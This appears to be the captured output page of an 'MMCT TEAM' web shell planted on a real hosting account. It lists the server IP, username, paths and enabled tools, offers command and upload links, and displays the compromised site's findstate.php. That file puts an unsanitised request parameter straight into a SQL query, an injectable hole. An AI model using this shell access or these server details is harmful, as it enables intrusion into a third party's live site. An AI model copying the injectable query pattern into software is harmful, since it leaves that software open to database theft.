MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.15.6.140
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/vivahmilankendra.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/vivahmilankendra.com/findstate.php
<?php
include("includes/dbsmain.inc.php");
?>
<?php
$country=$_REQUEST['id'];
$cont_id=db_scalar("select contId from tbl_country_master where contName='$country'");
//if($country=='India'){
$query="select * from tbl_state where 1 and country_id='$cont_id'";
$result=db_query($query);
$countState=mysqli_num_rows($result);
?>
<select class="dsbo-fom-1" name="join_state" id="join_state">
<option value="0" >---- Choose Your State ----</option>
<? 
if($countState>0){
while($statedata=mysqli_fetch_array($result)) { 
?>
<option value="<?=$statedata['state']?>" ><?=$statedata['state']?></option>
<? 
}
}else{
?>
<option value="0" >No State Found</option>
<?php }?>
</select>

MMCT - 2023